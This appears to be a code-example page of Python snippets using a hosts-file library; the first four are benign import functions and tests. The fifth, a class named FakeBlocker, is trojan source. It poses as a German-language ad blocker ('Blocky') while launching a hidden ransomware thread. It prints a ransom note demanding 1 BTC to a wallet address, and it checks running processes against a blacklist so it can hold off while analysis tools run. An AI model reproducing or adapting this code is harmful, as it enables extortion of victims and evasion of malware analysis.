예제 #1
0
def update(remote_sources=urls):
    """
    Main update function - takes a list of remote source URLs, writes all available hosts and returns 0.
    """
    hosts = Hosts(path=tmp_hosts)
    if os.path.isfile(ERRLOG_FILE_PATH):
        os.remove(ERRLOG_FILE_PATH)

    # Adding remote sources
    for remote_source in remote_sources:
        try:
            print(remote_source['url'])
            hosts.import_url(url=remote_source['url'],
                             single_format=remote_source['single_format'],
                             sanitize=sanitize)
        except Exception as e:
            write_error_log('WARNING: URL ' + remote_source['url'] + ' - ' +
                            str(e))

    # Workaround to copy remote entries and keep different .editable files split
    write_all(hosts)
    if os.path.isfile(tmp_hosts):
        os.remove(tmp_hosts)
    data = {'time': time.time(), 'sources': len(remote_sources)}
    with open(LOGFILE_LAST, 'w') as outfile:
        json.dump(data, outfile)
    return 0
예제 #2
0
def import_from_url(hosts_path=None, url=None):
    """Import entries from a text file found on a specific URL

    :param hosts_path: Path to the hosts file to update
    :param url: URL of the text file containing the hosts entries to import
    :return: A dict containing the result and user message to output
    """
    hosts = Hosts(path=hosts_path)
    pre_count = len(hosts.entries)
    import_url_output = hosts.import_url(url=url)
    post_count = len(hosts.entries)
    write_result = import_url_output.get('write_result')
    message = 'New entries:\t{0}\nTotal entries:\t{1}\n'.format(
        post_count - pre_count, write_result.get('total_written'))
    return {'result': import_url_output.get('result'), 'message': message}
예제 #3
0
def test_import_from_url_counters_for_part_success(tmpdir):
    """
    Test that correct counters are returned when there is at least a
    single successful imported host entry

    There will be a single entry written before import.
    Importing file will include three valid IPV4 entries and an invalid entry.
    One of the three valid import lines will include a duplicate set of names.
    """
    hosts_file = tmpdir.mkdir("etc").join("hosts")
    hosts_file.write("6.6.6.6\texample.com\n")
    hosts = Hosts(path=hosts_file.strpath)
    import_url = "https://dl.dropboxusercontent.com/u/167103/hosts"
    result = hosts.import_url(url=import_url)
    add_result = result.get('add_result')
    write_result = result.get('write_result')
    assert add_result.get('ipv4_count') == 4
    assert write_result.get('total_written') == 5
예제 #4
0
def test_import_from_url(tmpdir):
    """
    Test that correct counters values are returned
    when a text file of host entries is imported via url
    Existing host file has: 1 entry
    URL has: 24 entries with 1 duplicate

    Add should return 23 ipv4 (to add) and 1 duplicate
    Write will write new 23 plus existing 1 (23 + 1 = 24)
    """
    hosts_file = tmpdir.mkdir("etc").join("hosts")
    hosts_file.write("6.6.6.6\texample.com\n")
    hosts = Hosts(path=hosts_file.strpath)
    import_url = "https://dl.dropboxusercontent.com/u/167103/hosts_win"
    import_url_result = hosts.import_url(url=import_url)
    import_url_add_result = import_url_result.get('add_result')
    import_url_write_result = import_url_result.get('write_result')
    assert not import_url_result == 'failed'
    assert import_url_add_result.get('ipv4_count') == 24
    assert import_url_write_result.get('ipv4_entries_written') == 25
    assert import_url_write_result.get('total_written') == 25
예제 #5
0
class FakeBlocker:
    """This object imitates the functionality of an AdBlocker. The functionality should be to block
    Tracking & Malware Domains using Windows' internal hosts file, which requires Administrator rights
    to edit."""
    def __init__(self):
        self.hosts = Hosts()
        self.blocklists = {
            "1": (
                "steven-black",
                "https://raw.githubusercontent.com/StevenBlack/hosts/master/data/StevenBlack/hosts",
            ),
            "2": (
                "ad-away",
                "https://raw.githubusercontent.com/AdAway/adaway.github.io/master/hosts.txt",
            ),
            "3": (
                "energized-spark",
                "https://block.energized.pro/spark/formats/hosts.txt",
            ),
        }

    def is_admin(self):
        """Checks if the tool has been run with Admin privileges. Otherwise print error"""
        try:
            if ctypes.windll.shell32.IsUserAnAdmin():
                return True
            else:
                print(
                    "\nBlocky needs Admin privileges to edit the Hosts-File. Please restart as Admin!\n"
                )
                return False
        except Exception as err:
            print(f"is_admin(): Error --> {err}")
            return False

    def initial_check(self):
        """Checks for existing Registry entries -> Maybe the tool has been here before?"""
        keyName = r"Software\Blocky\Main"
        try:
            # If key exists, create a Ransomware object without getting the already known system info, and start loop again
            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, keyName, 0,
                                 winreg.KEY_ALL_ACCESS)
            rnsm = Ransomware(resume=True)
            rnsm.victim_id = winreg.QueryValueEx(key, "ID")[0]
            print(
                "\nDu bist bereits mit der Blocky Ransomware infiziert!\n\nBitte nehme die Zahlung von 1 BTC an folgendes Wallet vor: bc1qtt04zfgjxg7lpqhk9vk8hnmnwf88ucwww5arsd\n\nStarte Blocky.exe erneut und lasse die Software laufen, sobald die Zahlung betätigt wurde. Deine Daten werden anschließend entschlüsselt.\n"
            )
            rnsm.sync_loop()
        except:
            # Else start a new Ransomware() runthrough as daemon thread, and show Blocky functionality.
            BadThread()
            blocky.show_menu()

    def is_blacklisted_process_running(self):
        """Reads process lists on system and compares it to the predefined blacklist"""
        tasks_all = check_output(("TASKLIST", "/FO", "CSV"))
        tasks_formatted = tasks_all.decode().splitlines()
        tasks_listed = [
            process.lower().split(",")[0][1:-5] for process in tasks_formatted
        ]
        for x in program_blacklist:
            # As soon as 1 blacklisted program is detected, return True -> Main will not execute BadThread
            if x in tasks_listed:
                return True
        return False

    def show_menu(self):
        """Prints the Blocky menu and takes user input on menu selection"""
        print(
            f"\nWillkommen bei Blocky!\n\n Was möchtest du tun? \n\n\t1) Aktuelle Hosts-Einträge anschauen\n\t2) Blockierliste auswählen und hinzufügen\n\t3) Blocky beenden\n"
        )
        selection = input("Bitte gebe einen Menüpunkt an: ")
        if selection not in ["1", "2", "3"]:
            self.show_menu()
        elif selection == "1":
            # Pretty-Print hostname & address pairs
            pprint.PrettyPrinter().pprint([(x.address, x.names[0])
                                           for x in self.hosts.entries
                                           if not None in (x.address, x.names)
                                           ])
            self.show_menu()
        elif selection == "2":
            self.add_blocklist()
        elif selection == "3":
            sys.exit()

    def add_blocklist(self):
        """After the user selects on of the predefined blocklists, the corresponding entries will the added to the local Hosts file"""
        print(f"\nWelche Blockliste möchtest du hinzufügen?\n")
        pprint.PrettyPrinter().pprint(self.blocklists)
        selection = input("\nBitte wähle eine Liste aus: ")
        if selection in list(self.blocklists):
            self.hosts.import_url(url=self.blocklists[selection][1])
            self.hosts.write()
            print(
                "Deine Hostliste wurde angepasst! Werbung wird nun blockiert!")
        else:
            self.add_blocklist()
        self.show_menu()